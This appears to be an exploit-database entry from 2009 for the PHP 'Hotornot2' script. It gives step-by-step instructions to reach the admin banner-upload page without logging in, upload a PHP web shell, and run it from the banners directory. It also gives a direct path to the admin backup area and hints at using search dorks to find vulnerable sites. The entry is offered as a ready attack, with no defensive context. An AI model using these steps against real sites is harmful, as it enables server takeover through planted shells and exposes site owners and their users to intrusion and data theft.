Exploit eZoneScripts Hotornot2 Script - (Authentication Bypass) Multiple Remote Vulnerabilities

[Exploiter]

EDB-ID

8793

Проверка EDB

1. Пройдено

Автор

SNIPER CODE

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2009-05-26

    [+]
     Hotornot2 Script (Remote apload) Admin Bypass Vulnerability

    ===== ++ by sniper code++============================================

    Author : sniper code  ( S.C.T-443 )
    website : www.sec-code.com
    ===================================================================================================================
    [+]
    ScRipT : http://www.ezonescripts.com/scripts/sls/hotornot2.php
    ====================================================================================================================
    [+]
    Exploit:

    GO to :
    http://localhost/[path]/admin/sitebanners/upload_banners.php ( no need to registeration)

    you will see (Upload banners)

    ( browse and select file like example : Shell.php) and press upload )
    you can press View banners button to see and ensoure your file uploaded ...

    then Go to :
    http://localhost/[path]/banners/Shell.php    ( will view the shell )

    [+]
    for bypassing admin backup :
    Go to :
    http://localhost/[path]/admin/backup

    dork : use ur mind ^_^

    Thats it . . .
                            
    ===================================================================================================================
    [+] Greetz to :

           [»] MN9 - AL-H7ano0ty - AB0 3thaB -snake1095 - rxh
           [»] JiKo, Crackerz child...
           [=]all members of tryag.cc + sec-code.com

    ===================================================================================================================

# milw0rm.com [2009-05-26]